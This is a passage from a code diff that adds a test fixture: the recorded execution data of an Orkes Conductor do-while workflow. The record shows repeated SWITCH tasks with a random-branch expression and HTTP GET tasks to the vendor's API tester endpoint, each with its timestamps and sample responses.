decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__6", + retryCount: 0, + seq: 16, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711471925894, + startTime: 1711471925970, + endTime: 1711471925980, + updateTime: 1711471925970, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d5d58b9-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:05 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9193, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "hodpvolnbhurcviznsae", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 76, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__7", + retryCount: 0, + seq: 17, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926000, + startTime: 1711471926000, + endTime: 1711471926000, + updateTime: 1711471926000, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d6bb09a-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__7", + retryCount: 0, + seq: 18, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711471925996, + startTime: 1711471926080, + endTime: 1711471926089, + updateTime: 1711471926080, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d6ce91b-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7460, + hostName: "orkes-api-sampler-67dfc8cf58-sts78", + randomString: "gaylbzkwhkcmvnrbqofh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__7", + retryCount: 0, + seq: 19, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711471926095, + startTime: 1711471926190, + endTime: 1711471926199, + updateTime: 1711471926190, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d7bdd3c-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4893, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "zschnkxrmpkpqzxqulkt", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__8", + retryCount: 0, + seq: 20, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926223, + startTime: 1711471926223, + endTime: 1711471926223, + updateTime: 1711471926223, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d8d907d-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__8", + retryCount: 0, + seq: 21, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711471926218, + startTime: 1711471926300, + endTime: 1711471926308, + updateTime: 1711471926300, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d8ec8fe-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2499, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "yeckxdenrknaxlssksws", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 82, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__9", + retryCount: 0, + seq: 22, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926330, + startTime: 1711471926330, + endTime: 1711471926330, + updateTime: 1711471926330, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d9e0b3f-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__9", + retryCount: 0, + seq: 23, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711471926325, + startTime: 1711471926409, + endTime: 1711471926419, + updateTime: 1711471926409, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2d9f1cb0-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8649, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "ivwrjhwhhptaklledpom", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__9", + retryCount: 0, + seq: 24, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711471926428, + startTime: 1711471926519, + endTime: 1711471926541, + updateTime: 1711471926519, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2daed421-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 16:52:06 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1574, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "hgrpontvfcxtpkaiecau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 91, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__10", + retryCount: 0, + seq: 25, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711471926563, + startTime: 1711471926563, + endTime: 1711471926563, + updateTime: 1711471926563, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "2cd515d9-eb91-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test-multi-dowhile", + taskId: "2dc1bfe2-eb91-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + 